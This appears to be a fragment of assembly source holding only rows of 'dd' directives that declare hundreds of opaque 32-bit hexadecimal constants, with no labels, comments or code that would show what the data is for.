dd 33966CD5h, 2253AFE4h, 0E0FF8E22h, 0B74E428Bh, 0E3D4A74h
dd 0C3E65140h, 3AE27DD8h, 783E010Dh, 4F3F181Ch, 0E40873FAh
dd 0B4841EC4h, 0EE8A1DD7h, 0B827B320h, 556D43BBh, 9D743B20h
dd 3144DE8Fh, 0C3162847h, 9BFEB02Bh, 698EC718h, 0EC935E6Eh
dd 9E136219h, 0A1AC50A6h, 5301BA05h, 33F796BEh, 0DA15945h
dd 1EBEA65Fh, 7CC944E9h, 0E635354Bh, 0E264A32Eh, 958E452Ah
dd 0E1005968h, 1758E278h, 89574E8Ch, 0A41CFC9Ah, 0ED524071h
dd 0B03F9230h, 90FED1CCh, 55C089D9h, 34D1ABC9h, 0A20A4A21h
dd 14B7F57Ch, 0B9D502F9h, 14288B40h, 0CE04B52Bh, 0CABA6A24h
dd 7D31CE5Eh, 0DB7F3F3h, 0CAF32F85h, 0CC472EEDh, 1B96DE95h
dd 66325367h, 0DF12E987h, 0FD5F4528h, 95EECB9Fh, 9E0BBFF6h
dd 5453EB9Dh, 0B9B02FCFh, 0F5B8F732h, 35DE351Bh, 0C203452Dh
dd 34FB3925h, 0A6A00616h, 4ED830BAh, 6E7B00CEh, 188CE9B8h
dd 44D1DB01h, 99EA5AD9h, 3C1A229Ah, 493A1F41h, 5E1CFF7Bh
dd 57AE77D8h, 8DB6B6ADh, 0EB9275A8h, 94B467BDh, 0E0DFC844h
dd 0DBB6B13h, 998CF121h, 0B1D51743h, 534CCF83h, 1757443h
dd 4522617Dh, 0BDC13321h, 5C0C976Dh, 2F7BDB8Fh, 0E0C6F947h
dd 0AB77968Fh, 0E0A28031h, 10D48526h, 0DBEB1A61h, 0A2E1CE79h
dd 2F185C9Fh, 5EE25FCBh, 5AD82C77h, 4A905460h, 8352CEE5h
dd 68D86779h, 9B1430F1h, 6B954024h, 5FB60AF3h, 5B8E19E5h
dd 0FC0FF638h, 0DD057BA6h, 3A17DFCBh, 9CEA8766h, 85E30ACFh
dd 0AEC3C53Dh, 5341526Dh, 0A0E8DFC7h, 5D8BCC75h, 345FC4D1h
dd 0B6ECEBE3h, 0C1E9320Ch, 739E88D6h, 7B162F3Eh, 382E81F8h
dd 5754AC43h, 0D6FA5FFh, 0CD3088BFh, 0BA897598h, 0C0FC611Ch
dd 243DDB75h, 0FAB02C08h, 0A99ABA1Eh, 167350F8h, 0F018702Dh
dd 2B5A4C10h, 648DB422h, 170582EBh, 0CDEFDF6Dh, 0D7D551B8h
dd 7ADD278Ah, 0E107E2C6h, 0F721E6C3h, 9A7887E1h, 1C97DF9Bh
dd 0E9A065DEh, 0E677494Ah, 3D0C597Dh, 0C4205A23h, 7C65D843h
dd 0CB022D3Dh, 8A41C3FAh, 904EC6C0h, 9B3C3D91h, 0B6BD4DD8h
dd 3CC5FCA2h, 0C70D0E55h, 0D4E5385Bh, 0DD547715h, 385C0D6h
dd 8CC561DAh, 2E4465C4h, 560A50A9h, 62F17317h, 0E60AEF73h
dd 437E8A42h, 5A47878Bh, 0FC320767h, 1E4D0F61h, 19E2D51Dh
dd 0DD031A47h, 0F328893Fh, 0DA1C9F42h, 0AAD60F53h, 0E4253578h
dd 7212CC5Ah, 0D7F40847h, 0AC5DE3D0h, 515FBD1Bh, 2CA90CF1h
dd 0A9C10753h, 0A29BC1A5h, 0AB717690h, 15A48452h, 0E97D729Bh
dd 0BC07A68Dh, 1C26A8A8h, 9F479AB8h, 0F125AE5Eh, 8DAF3645h
dd 2E960388h, 2951F059h, 197BCC4Bh, 0EC5E2CF3h, 8A3AE5C4h
dd 63B729EDh, 3F4E74FAh
dd 0A7216EEh, 442038C9h, 2BE091DEh, 5E344A04h, 93B3139Bh
dd 618BC381h, 8C3261F5h, 877FB11Eh, 5E8851CFh, 21A0A6A1h
dd 0C8888FB8h, 82380730h, 66B08D7Ah, 0CDA6A59Ch, 4BF615EFh
dd 1C01B04Ah, 300784C2h, 0AB256423h, 2F8755D2h, 0DF6A71B8h
dd 879ED6F4h, 0DF8E76C3h, 0E0B62B32h, 8350BB73h, 0C2DBB8h
dd 497333FCh, 48FD6F03h, 0A199DBCFh, 0BDBD043Ch, 0FFD171BFh
dd 1A8DFFC7h, 23AA7D98h, 137ED25Fh, 8EC9D4Eh, 10EFD148h
dd 0D38DA1B6h, 651202CCh, 0F05AEA17h, 0C10A96D5h, 0B6615268h
dd 0C0E03ED2h, 6715505Bh, 6D0C8F98h, 0B8D9E58Eh, 0F81A9415h
dd 2EA897F3h, 0E7D79C11h, 0E79134ABh, 4C4C5A7Eh, 0F8625AACh
dd 0D974C7FCh, 5AB762F0h, 457E180Bh, 6765BA8Bh, 7AAAC8AEh
dd 51CBBA1Dh, 0BF31A407h, 841F857Ch, 460DA3C0h, 0C1F68AAEh
dd 6E5C2829h, 73015EC3h, 0B8939E69h, 1AD8D8F6h, 94BAFEE0h
dd 85E0FED2h, 0C6245715h, 0EF45B5ABh, 0B3A9DFBBh, 0D92BA50h
dd 904BB2A3h, 8B8BA067h, 2FFDA00Eh, 723D0B06h, 7EC76EE9h
dd 7D3E053Dh, 9B0DC902h, 0CC544892h, 55414932h, 8577228Dh
dd 51883D9Fh, 7F827346h, 0B8A5209Fh, 5F1DC1C4h, 0A84826B2h
dd 17744FF3h, 4DD027F6h, 18E69D8Eh, 81C304C3h, 83314936h
dd 0E8775221h, 4589290Ch, 20C49C6Dh, 80962FE4h, 0E69133B9h
dd 0C9A69A02h, 6134A566h, 5F5CB658h, 0E7E68C6h, 14D0E2CAh
dd 3C03184Ch, 0FB55239Dh, 0FDD072CBh, 7C40E0EFh, 0E3FF49B3h
dd 0B524CD7Ah, 0BBC7767Dh, 26A0B5E5h, 0DA58CEBCh, 0E86C5407h
dd 0A74DA399h, 3B879B53h, 0A2995720h, 0EE7E86E1h, 0B49203B7h
dd 2627E182h, 0C2416027h, 66DFF574h, 0DD864956h, 40C5C425h
dd 4B1FEA22h, 3D7AB152h, 0A766DE72h, 0CA91EB49h, 0EE525DD3h
dd 0F380F1EEh, 6606C129h, 8F79D44Bh, 86650989h, 0E87A299Dh
dd 5D20A5BEh, 0FF69DA97h, 0F5F9010h, 0CF694578h, 2E64BEF9h
dd 4EF99Ch, 0A42CEBE7h, 5ECC83BEh, 0BD74FF64h, 0BE352121h
dd 3B10012Dh, 0FC0CC8D1h, 0C48B8048h, 0F7ADC43h, 0F1D9A23Fh
dd 76698225h, 0BB115C74h, 884ED0D4h, 9B27149Ah, 3BF7486Ch
dd 8C3F4C58h, 503EC4F7h, 0D85ADC72h, 952EFBE3h, 64F256A3h
dd 0FA098BFBh, 999873C7h, 0ACFFC315h, 9AF5FDAEh, 5B6911C2h
dd 1E6383B2h, 0BEAD5D66h, 271F332Ah, 0DB18A13Bh, 0CA737062h
dd 0E5A49A07h, 0C00F3C9Dh, 0B8614449h, 0EF5F0F02h, 2751B591h
dd 0C34E050Ah, 0B238AEF3h, 9965F19Eh, 8793BCEAh, 707E1FB8h
dd 0D59A8F64h, 48C97AFAh, 3606553h, 0C0974FACh, 0E95E794Ah
dd 0B3253CFh, 2E7ACB31h, 2D07803Eh, 60A33A74h, 29C36F1Ah
dd 9522426Ch, 5B35BC82h, 0BC311939h, 0E69AC356h, 7F67B66Fh
dd 0DC7F76EFh, 3F9FBED2h, 0D07F15CFh, 779F591Bh, 0B8893598h
dd 0A9F82E73h, 6327CA6Bh, 0E7605A04h, 0D1336A1Eh, 0B4C59351h
dd 73368A1Bh, 2315B7DBh, 462AAE93h, 57C9D806h, 0FEDC6ED9h
dd 540F351h, 0AD67617Ah, 61C84E68h, 0F5B2195h, 92502640h
dd 0E5C90DADh, 73DC3722h, 5F2551BAh, 0AB871982h, 0E5924AF8h
dd 0A5446295h, 0F98F4661h, 8412E329h, 8A99BA18h, 0A8B47269h
dd 8DC15750h, 0D5502B76h, 1AD3F6F4h, 4F4B589h, 57ED9E7h
dd 686F92D0h, 21E491A8h, 5F479D9Dh, 20243AD6h, 0FC3464D7h
dd 3E9721BEh, 3C98DCCBh, 0BC688339h, 1D47CE3h, 284D545Dh
dd 0E356DF0Bh, 162CD588h, 0C0A5F0D9h, 30097829h, 0BC01541Fh
dd 4FB74069h, 0B74BB64Eh, 0C63CE729h, 0EFF87D91h, 6BBAE54Eh
dd 5C76144Ah, 0C4D19E53h, 0C7392C8Bh, 9F5BDDA3h, 674729E6h
dd 7308EE5Ah, 0AB1E78D3h, 5ECE16DCh, 9BEF327h, 967FEA9Ah
dd 7FF99E47h, 6C1A0F91h, 0E141A2E5h, 0C9C9BB8Ah, 0E7E18B1h
dd 2CDA3BB6h, 794CBBC8h, 0B8AAE93Dh, 0E22D0E9Ch, 634B717Dh
dd 0C59A07CAh, 75FC03A9h, 0E8BF88FEh, 0B13A0563h, 0E2E1471Ah
dd 626CB1Fh, 43811F39h, 0D59DE359h, 39DF65E9h, 0FEDD9FBBh
dd 146CB1F1h, 6BCC5F4Fh, 7B6E41B0h, 0DA88507Fh, 0C71CDBCh
dd 0F9E04B55h, 354B8CF2h, 0FDC458DFh, 62F93792h, 0AD2A9DF0h
dd 0C8FBF096h, 0CEBBA8EFh, 7E529B3Eh, 9CF0933h, 7690E10Ch
dd 853E4278h, 2A6C2D58h, 79AF01EEh, 7B0BED50h, 4A7B704Ah
dd 507E5EF2h, 29885F51h, 0AD06446Dh, 0D06F3905h, 0FCCD8CD8h
dd 0F1CF61Ch, 0F112F7B4h, 0FCF6CDAEh, 995AFFEh, 0B56FFC2Dh
dd 0DB909A69h, 0D91D3CF2h, 0C96466CDh, 0F569FE7Ch, 0C14073BFh
dd 1AC0DC6h, 0FAB2BE62h, 775AC4E2h, 33209994h, 0B7C14023h
dd 5F679E49h, 0BC5BFE85h, 0B2FBB97Eh, 653B9D84h, 125402F9h
dd 791C51BAh, 72189A67h, 0C38B5062h, 2AB0BA88h, 0C13EC9C9h
dd 0D3E2C802h, 0D97AA738h, 1E3EC71h, 5E0D1BF9h, 6FE85118h
dd 0E138431Eh, 8C91535h, 36B4C6B9h, 0F97CCAA8h, 36BBD3ADh
dd 7C78752Eh, 7F61E209h, 632102B4h, 36C5DFCCh, 6E7F6601h
dd 0CA769123h, 61A8660h, 2DEBE264h, 38F75A9Fh, 2694A876h
dd 220D6117h, 21D4688h, 937FA4CBh, 93B78EBAh, 41899435h
dd 0A27AA4F0h, 0DC7DAC84h, 9CE560A6h, 6408A5FFh, 88DF9985h
dd 0EDD7B94Ah, 6060E90Ch, 10488D6Ch, 83DCFA98h, 5B9BFF36h
dd 9D002A13h, 1E5CC76Fh, 564EC9DCh, 60D133F4h, 4AF3D2E5h
dd 0BAB35FFCh, 93DCA561h, 2AA91087h, 0CA937289h, 0F82AD86h
dd 0B5BB9DFBh, 24DC2A58h, 0D0F3A9B8h, 86BF24BBh, 0D252C1C8h
dd 0ED276630h, 0D2E7AA79h, 203BB6F3h, 5C9B8322h, 4C44817h
dd 8143EDC4h, 8547110Fh, 888DA3D3h, 4FDB1C73h, 97D1A37h
dd 98F52647h, 42266439h, 5BB70F67h, 16DAC5F1h, 0B31BD121h
dd 23B4E7Ah, 1E989076h, 79D28438h, 0B149D9EEh, 0D1CDCFBDh
dd 28CC4DBFh, 5086701Ch, 1DD861CEh, 19F1D8B1h, 2D2917C7h
dd 84E8C680h, 0BF44F50Ch, 3441D889h, 0BF53FA3Eh, 9044A71Ch
dd 0A3EB8AE9h, 7DB8DD92h, 7B002295h, 0BEBAA974h, 274C4039h
dd 0E2E6854Dh, 9DC12EB6h, 6C963295h, 0B81163F0h, 223F1197h
dd 6D8D698Ah, 9086627Fh, 5596F41Ah, 331661A3h, 8D60523Ch
dd 0C87A5EA3h, 8D3F7E80h, 88F358DEh, 85C023E2h, 7A9A98CBh
dd 5E29D9F3h, 2B1D8BE9h, 0AF661BC7h, 0DFA0DF6Dh, 5FE346B6h
dd 0D2A57E60h, 3147C2A1h, 7952A786h, 0FA19748h, 9B76E5E3h
dd 0DBB05BBh, 2778C4C1h, 0C6CD4CBh, 472DD26Eh, 0C7CEABECh
dd 0BC8AC01Eh, 8A624AA2h, 0EF2C8E62h, 5BF615CCh, 48E9F46Ah
dd 6D921F15h, 1F8E8E4h, 6EEBF41Bh, 280473C6h, 0AAEED130h
dd 9733BE41h, 32A50181h, 5D9112C1h, 0A18ABC89h, 325FB306h
dd 910A0DCEh, 15AA19ADh, 0D794BEEh, 82C8BE1Dh, 0ACFF1B9Dh
dd 0CA7D6A22h, 587B36D4h, 0C2F680C7h, 0F0DC5E1Fh, 0B0695615h
dd 8E1B36D5h, 988B978Ah, 0B6B8F7DAh, 9DC6D463h, 0B9B85318h
dd 0E12FFD26h, 90D3F4CDh, 7064F30Eh, 63E3B286h, 2DB1F81Dh
dd 0A90FA817h, 0D68CF6C1h, 83519FEEh, 0E6C56C4Bh, 3454BC34h
dd 2CF4DEEEh, 0C167969Ch, 0A8A51BB3h, 72437891h, 44461FC1h
dd 3E0849D0h, 1B8A90EDh, 196CA339h, 0DC161864h, 2DB96B21h
dd 9BAA791Eh, 0F9415FD2h, 1FA7C13Ah, 0A0D18FF9h, 67AB2300h
dd 566FE859h, 5A65373Eh, 9AA4027Ch, 2FF17DDAh, 11397EA1h
dd 0E2AFAAA9h, 0C2B11188h, 30FCC252h, 6D055E77h, 5FDEEC39h
dd 0A0C2C7AFh, 0C35B93A5h, 14494E5Ah, 0A4039F20h, 0E3D94342h
dd 51747CADh, 67773775h
dd 8B36DA57h, 68E36454h, 255864C1h, 0D45E176Fh, 53A18F4Fh
dd 977E0BABh, 36D7F0FDh, 0C9B47B6Fh, 0F3228C03h, 8D2E34ECh
dd 0F4BE1DC3h, 48863F58h, 1812B77Eh, 752A0863h, 2C4DCAB4h
dd 2F93B0C1h, 3A9F52B1h, 23BCDA6Eh, 290600BDh, 0F00FDAC6h
dd 0A750AD7Fh, 0F9F814B5h, 16534178h, 0FABAE243h, 0AB483CADh
dd 0EF0B1EA3h, 2DC89BADh, 0B5D4D175h, 0E5E469D9h, 0D412B91Ah
dd 2B863D73h, 0C1A0A4D1h, 0AEC4E2FCh, 0FB8DC285h, 0F98C36E8h
dd 3FAA0984h, 2787DA86h, 0E69E5DACh, 0B4F634E8h, 0F612A0EAh
dd 595EF2EFh, 0E0D1073h, 167A8678h, 9F8AC3C4h, 0FF524000h
dd 5D316F0Ch, 0B698F744h, 0E7DF449Fh, 0BBDD7321h, 8BAF6958h
dd 94AC08D3h, 2FABC044h, 25B6F404h, 0A182FD5Eh, 0F9BEBED7h
dd 56ECDCC2h, 1AB4F6DCh, 0E39E2EDDh, 0F154B0AEh, 78906F34h
dd 0A87D71A3h, 0C857B691h, 0C808623Fh, 86A002F2h, 87E726B1h
dd 0D8751DAFh, 7617802Eh, 0B3A0893Bh, 6077C5E8h, 0D50C6D4Eh
dd 0EB8BA934h, 0C355EDA2h, 0DEEEF6Eh, 0A0F7D977h, 5C8BBFC9h
dd 3BB7B2EEh, 0E80F9F85h, 32595AB3h, 0CFEF756Eh, 0F2EEA80Bh
dd 73CB7056h, 0E8A96C8Fh, 191296FDh, 0A4C06442h, 0CB9C5737h
dd 0DDC594Ah, 66149955h, 7B518913h, 4143A4B4h, 6C5D2465h
dd 9BA8CBF9h, 1F74043Ch, 0B6F3C259h, 0D5A835A5h, 875B9745h
dd 694C34B2h, 8931B53Ch, 1A252387h, 0A3A9DBAAh, 254982EBh
dd 7E6C73E0h, 47259735h, 0D11451C3h, 0F64030C9h, 0DBD3E0Eh
dd 4B2795A7h, 367F4F6Dh, 75252FDAh, 0CBA6C20Bh, 0C5E82942h
dd 8B384E44h, 623F077Fh, 5B8004C3h, 1ED0D301h, 5125B9E0h
dd 6CB5CDFEh, 341D0849h, 290C74BAh, 5FC54EC1h, 60FEBE7h
dd 0F430F0ECh, 0F937E257h, 0C8588CA4h, 63BE15FAh, 16F05307h
dd 3A3120B2h, 5E18680Dh, 66C1B35Dh, 8B031345h, 0B6F7EF16h
dd 6B34579Ch, 0A924CD37h, 9EF922DFh, 0C1626C44h, 66286F2Eh
dd 0BBD4203h, 0EC593DC3h, 0C20EC5CEh, 43ED8E9Bh, 4D2D96B3h
dd 334B4ABh, 918AAA5Eh, 47493E0h, 697AB18Ch, 0A6D2192Bh
dd 0E50F42BFh, 0E32FEEEEh, 9CEAA369h, 1369D2BCh, 5EEA27Eh
dd 0CBB65E7Bh, 5902A645h, 6CF67B55h, 0D2C396ABh, 0AB7CD7E8h
dd 0C4D218E2h, 88A7E74Ah, 0F1758BDCh, 0C9179C82h, 80483901h
dd 245572CDh, 0D41877E1h, 3D67D82Eh, 63545299h, 0F5F3ABE8h
dd 44A85E3Ah, 0D660FC73h, 32DB1F02h, 184B9545h, 0E3564929h
dd 0B4EEE648h, 40EBB589h, 0DE618D6Eh, 0E54119D1h, 7B9295AAh
dd 0E1E77774h, 73BB2A70h, 0E2FD6FC8h, 513B670Dh, 0BA4BACEAh
dd 0EF00226Fh, 1D6A54BDh, 0CC913790h, 0CB02204h, 0F9A0C893h
dd 3E571C3Eh, 0D17CAAD8h, 0C7113880h, 0BC42BA45h, 697B5FFFh
dd 625FB22Bh, 0C61B2CFEh, 18440703h, 9EC73B3Fh, 356D66A9h
dd 4D773CB4h, 12BC3712h, 0C042E210h, 78B2742Ch, 0E2A9F563h
dd 8BA48EDAh, 3A8B6361h, 0A6E480B2h, 525D336Bh, 0C91B470Bh
dd 0BA0927CDh, 68EAB950h, 34649845h, 0EF727F63h, 0B79F939Ch
dd 0EC71D7A7h, 0B73B0587h, 7D09F86Bh, 5F8B301Eh, 0BE206E66h
dd 0CC60948Ch, 7F2C8332h, 4B7B18BFh, 9AF3930Dh, 83E71470h
dd 963C8A81h, 0F2D5F39Ch, 0AC5CB54h, 15C3EE6Ah, 0CDAD646Ah
dd 0FFF5676Dh, 1FD4CDD0h, 5BB81CFFh, 0A9028F46h, 503FD0A7h
dd 0E22030F9h, 81FDC19Ah, 0D3AD4208h, 1B65E31Ch, 0F8FB4B47h
dd 5A61617Bh, 9AD05A3Eh, 0F107E6E0h, 0F04B85DDh, 2FFE08ABh
dd 0F05F4F03h, 1C771610h, 6C30CA58h, 479F102Bh, 921123Ah
dd 0C521D026h, 0F8EB5A71h, 7B515F8Ah, 33950D53h, 21B47F2Ah
dd 0A4672413h, 1BC1CE29h, 0CA2E6998h, 0CE29A67Ch, 46D72215h
dd 2977A83Fh, 58F9F508h, 0A93B6672h, 0D586F782h, 8BCC3770h
dd 2A399FF3h, 2E12D398h, 937D46FEh, 0C852F593h, 9081D813h
dd 904C9422h, 0DF25600Eh, 0FA2C9D45h, 34209F05h, 0C1FAAEBFh
dd 62356B46h, 0FDB1E957h, 0B951CCD0h, 9AF46012h, 0A29B849Dh
dd 5C38953Fh, 0BED0C080h, 0E1B61B80h, 0F0F03F1Eh, 2C4131FFh
dd 0F754EA0Ch, 0E4BC649Fh, 47F5BDE2h, 0A303F5Fh, 0F4B5B302h
dd 4471D102h, 616FCD1Eh, 0FBFF2354h, 0E933037Eh, 9AD19336h
dd 89F6AEABh, 0B66EB9Dh, 0C6CF087Dh, 5FF05830h, 61AB7791h
dd 0D4894FBh, 1EC9C678h, 86A68677h, 786AC13h, 0FEF8DCF4h
dd 0D3EECFF5h, 0FA0D64BBh, 0C7F70BE2h, 0E9A32F9Dh, 1D9F4BD8h
dd 0E5A21350h, 616B1B36h, 0A28BC9DFh, 92F6D530h, 0CC9FA622h
dd 0A20E5D58h, 526F8E6Eh, 538D216Eh, 2E91FED6h, 1221E040h
dd 0C9229F55h, 754857B5h, 77C5D6A2h, 9A07CF47h, 0E6571893h
dd 0A834A3D0h, 0B0CA90C8h, 0F2CBAD08h, 0CC9BA29Eh, 4E72B194h
dd 2B23BBFEh, 0D74819ECh, 0E58089CCh, 7E33DEA9h, 3AD84D87h
dd 100A0C0Dh, 0AB988C64h, 0EA184CA0h, 0E70F2EF1h, 82642F21h
dd 0ED12CD4Ch, 0EA978D0Fh, 9F2824E3h, 84AB7C8Ch, 3983620Fh
dd 0FCD84B08h, 0F2132500h, 589CE826h, 5D541540h, 5F418914h
dd 46DBDFBDh, 0A9C1E17Eh, 96031117h, 3F2C92C5h, 49E86024h
dd 53978E2Bh, 0B2565FBEh, 0D22BC8A2h, 508D81E5h, 3DF0E5E5h
dd 0A3651325h, 94458032h, 0CABEF737h, 0F2F5EE49h, 0AAF5D55Eh
dd 2F1D9B09h, 0B05E5916h, 0B6713FD5h, 70196624h, 3478B611h
dd 7CEED72h, 35750BB7h, 897BE7FDh, 0E5FDE86Bh, 0ED241Bh
dd 0AD2364C7h, 5943D8B8h, 0A795AF45h, 929A4D03h, 9E47CA50h
dd 4378BC5Ch, 2A51B0C6h, 7051BB4Dh, 9CD9B662h, 0BB055E2Ah
dd 622D7B97h, 1DD26F77h, 0AD087407h, 742F99F8h, 0AF89D96Fh
dd 4BC1D8F7h, 87502919h, 0B461DB96h, 3B556DD6h, 5B0B5F4Fh
dd 32A70242h, 0CED8C1ABh, 3C251C35h, 0B529529Dh, 0EE864CDCh
dd 2A633081h, 8CCFF126h, 81AC926Dh, 0E95C9FD8h, 0F4864812h
dd 6C0752A8h, 413ED0F7h, 19F745h, 0CB788D43h, 7F9C3689h
dd 32F65FCCh, 2606D69Bh, 38C3C229h, 68AB1BB1h, 8A2FBA2Fh
dd 0D3E4A4Dh, 0F3EF4AECh, 93DEECF6h, 0F4A9BDFh, 586387FFh
dd 551007Bh, 34A86D8Ah, 55C1DF8Ah, 0A125B2D1h, 7B10FEB1h
dd 643F28ABh, 12D40C38h, 0DA22C99Dh, 9CD66B7Dh, 7D0882BDh
dd 80EC91B3h, 54FDB480h, 178ACAB6h, 0A862B164h, 28C9FDD0h
dd 0CB394B5h, 0DC91AD79h, 0D7E55C8h, 28C99766h, 18F6AB80h
dd 0F37B05F6h, 0E3C27C32h, 0F49DF7C3h, 55462684h, 3B62D426h
dd 0AD06FE81h, 0BC0C5A25h, 7DAA31CFh, 3EA157DFh, 7BE362A3h
dd 0E9A917DBh, 0A7EA83A7h, 955699EFh, 13437CAh, 23C76396h
dd 4295FFC0h, 58789430h, 0EB0396B9h, 49876A95h, 403F4BDh
dd 0B25E8677h, 1D7E2AF6h, 0A09C66BAh, 0E86469FAh, 0E4B79948h
dd 6835378Eh, 6B11D2Fh, 0CA33A410h, 7A9D616h, 6A5A0436h
dd 2E084BB7h, 0ADC3D2E9h, 48052981h, 3A8573DAh, 8D8FB3CEh
dd 95A10BA1h, 0D6CB7BD1h, 0BB63F74Fh, 701AFEEFh, 0DFABE909h
dd 0D31B4566h, 14B62A16h, 319EFC91h, 99827287h, 8EEA1944h
dd 2507D31h, 49D94158h, 74995A4Bh, 5664CBCEh, 0A302C363h
dd 402F2326h, 5B4FCA2Ah, 0EB8476F5h, 0C4DCC684h, 48AF78FDh
dd 0F4843737h, 4D66F674h, 847C633Ah, 0D2D910D9h, 0CD105103h
dd 8652A577h, 0A9D5E8D0h, 1B699F8Ch, 9D1FC73Dh, 3FC0606Ch
dd 0F69C92C6h, 91BDABCCh, 758D77FFh, 66660492h, 564D89CBh
dd 822BFE2Dh, 3E59282h, 0B26AAC2h, 9530B1F4h, 4BBFFF36h
dd 0F03CBD04h, 147CA1A4h
dd 6926E4E9h, 5F5F2389h, 0B4530888h, 71C8E609h, 0C746ACE9h
dd 2A81F2CEh, 0A947248Bh, 0DB62DB69h, 0D8EB8C30h, 0A354F0A0h
dd 0F6D2C3C8h, 53A1ACFBh, 2984506Fh, 0C364551Ah, 4F89204Dh
dd 0D6A36D45h, 0B09BAD4Ch, 39FB4AA8h, 9CEF1C07h, 3C0D14B8h
dd 0CC5A0471h, 895509BDh, 4E80311Bh, 0CFA82DDFh, 4DD05FDFh
dd 0B621ADE0h, 3C4725A4h, 84C8D47Ah, 1D48B1DDh, 0EC5F4546h
dd 9BBADAB7h, 0C3031EF7h, 45CD4DEFh, 0AF7A14DDh, 0ED8AB854h
dd 0F91AEEE2h, 99F285B1h, 60BCF46Dh, 5DC3E951h, 0F560DEE0h
dd 184957ADh, 0B756674Dh, 0E6D52170h, 23A334B1h, 47497B2Dh
dd 3906BCAAh, 0DAD529Eh, 0EE2912CDh, 13143BAEh, 0DD5E8FCDh
dd 52064ABBh, 3631A0A1h, 0AB598730h, 68855B09h, 0EBF6D368h
dd 8B56B659h, 0EB6EFD67h, 6150390Bh, 0D382D252h, 0D5C02C10h
dd 82FD27BCh, 0AF50B484h, 0D4A799CCh, 0D525B947h, 4ADE4335h
dd 2402A9CBh, 0C68AFF77h, 257F5B8Fh, 81ABA13Ah, 0C83B1D29h
dd 76E635E5h, 6DF24E83h, 0F89060Ah, 0EAF5A84Bh, 157496BCh
dd 0EFF533FFh, 8312590Ah, 0A4CBC06Fh, 0B0B3DB2h, 89527641h
dd 3A1891B5h, 0CE52B286h, 0A5C280C0h, 52A69F6Ah, 0BE8D2774h
dd 80B849DFh, 56BDE74Ah, 0BC445BEAh, 56307619h, 0C25E54AEh
dd 6D030733h, 585928Eh, 30C57006h, 16CE39Ch, 8EA72918h
dd 46B9AFC6h, 0C758D9E3h, 0AB926C0Eh, 2E943CC8h, 69EBA1CEh
dd 963AB8Fh, 6AE1B3BBh, 6037A8A4h, 817F05E3h, 0A0564792h
dd 0D0035B6Ch, 4F0F38F9h, 6A281373h, 0F8C562E2h, 0E7B53601h
dd 7173F52Bh, 0E23DAAC5h, 386C9F13h, 0F2AF779Eh, 5619404Dh
dd 2B7DD843h, 0A9022983h, 0A6C3FB68h, 0A58C41B1h, 3AFBEECBh
dd 5A2DA446h, 84D08EC1h, 1879629Eh, 0BCF2EABFh, 0A4593160h
dd 0B92352D7h, 0F33B7E25h, 0A0D2653Fh, 0FFA78662h, 0CB6E44C2h
dd 0FB7B1DEEh, 0E1A26F2Dh, 675C69Eh, 51C783D6h, 489CECE1h
dd 0FD22EFECh, 0FD7C028Ch, 37D605E2h, 33CE007Ch, 533CE3A5h
dd 0E24279CAh, 0BC5D966h, 2CD0B42Fh, 970842EEh, 0E1AB5A37h
dd 14F17FE9h, 0DF078315h, 6297D789h, 0DC95210Dh, 0FA1C2550h
dd 3EBBBCE7h, 0C626B16Dh, 0D03B2F48h, 0D7432D0Ch, 2988FBAAh
dd 9F3D947Dh, 0BD7D48B1h, 6EE162DEh, 0F113D8E9h, 0E2D889CCh
dd 9EC21602h, 0FF88D221h, 0DAE073BDh, 0ED63834Bh, 7E4C15C5h
dd 65FE88BDh, 5370E2D9h, 0F2A9295h, 0D8CDD7F0h, 13DCC1AEh
dd 0D6EDA5BDh, 0DE62E72Ch, 3426C972h, 437C31F7h, 6544F20Eh
dd 5CB20C9Ch, 378125D8h, 0D05DF572h, 62FE0925h, 0F8A9B3F7h
dd 0FC385ECFh, 130E4D51h, 0DE574811h, 0EF40D416h, 0BC124F41h
dd 760B7067h, 0FC3E5632h, 9B82CF9Fh, 0EE4C62CAh, 44CA0FABh
dd 0CF06CBD9h, 836833E7h, 2517AAC8h, 0B3DDFBBEh, 0B5495658h
dd 1E7492FDh, 0BDEA59D6h, 0E26647C0h, 5AC6DF8Dh, 0BD69C65Dh
dd 24C3FC8Eh, 7F6FD8B5h, 0E83E675Ch, 0CACC238Bh, 0E679EBCAh
dd 0D44CF37Fh, 5023E228h, 6BA57BD8h, 0AC8DA9BCh, 0D8CAAD0Fh
dd 0D5B497F7h, 96E2426Eh, 37D867E1h, 2962A772h, 3AE37ED7h
dd 9B584ECFh, 46691DDDh, 143F5498h, 0A29848AAh, 16888A24h
dd 8D784F5Dh, 82F508CAh, 0CB1A0D59h, 891DC441h, 0CAECAB9Bh
dd 653D9A01h, 5C86EB9h, 0D1062D07h, 6DE35FB9h, 0B42D0859h
dd 0E1EC96D6h, 4E6C48BFh, 2A4E8028h, 0FEA1794h, 29E8AEAFh
dd 9F14E8FFh, 0CC39A453h, 0F03BAE52h, 4C124D08h, 7FA8F00Bh
dd 80D776D9h, 0D9F7A842h, 0A0867B8Eh, 5EA8A4D1h, 0C0E81F2Dh
dd 0CA082DE0h, 0D1403D51h, 0E88A6B95h, 0BF4FDE56h, 71D2DAE0h
dd 4ECF0ECCh, 84A7952Ch, 1B34FA3Ch, 10DAC33Bh, 4F4E278Dh
dd 62A656FAh, 337BCD09h, 6DB09EDDh, 77F8D77Dh, 4FB9F11Ch
dd 331A8BA8h, 321B577Ch, 827B1ED2h, 0BA1C810Ch, 0E4E9ED61h
dd 782271EEh, 92EAAFECh, 0BE8D5815h, 43A2428Ch, 0F3D78F9Bh
dd 5CB83867h, 5D59935Fh, 0F6921EFh, 0A8E66E03h, 0B3E31195h
dd 0DCF545E1h, 30741518h, 5F3CA648h, 0F79565F2h, 6FC10215h
dd 0E0A85EF9h, 2E3B18E6h, 4B1E2E10h, 7A5C5B8Dh, 3386221Bh
dd 0B4D0A992h, 56ED0A8h, 9224F186h, 6DFEF516h, 1E799DBDh
dd 20A6476Dh, 865BD92Ch, 935D607Dh, 1845C0E8h, 1A52EDAFh
dd 7B981CB2h, 7D4FFBCFh, 0B7818424h, 3C915DFDh, 2876459Eh
dd 0FC27EAD3h, 0A07B0249h, 0F1310AC6h, 0DC3AE0A4h, 1A01015Eh
dd 0BB636AD7h, 3FF6D868h, 88A599BEh, 7C4455F8h, 6BFC7082h
dd 0FC548803h, 0B3E5B341h, 28BE6922h, 32C292D0h, 0D3688FB4h
dd 0B7932FBAh, 0ECFBF9A0h, 3C55A38Fh, 74F2238Dh, 0B4427609h
dd 89D8B517h, 20E042A0h, 17561FA5h, 350D94BBh, 2A5C6093h
dd 211BD8F1h, 9B8CB212h, 9032391Ch, 4DAFBBF1h, 0F1F1DE07h
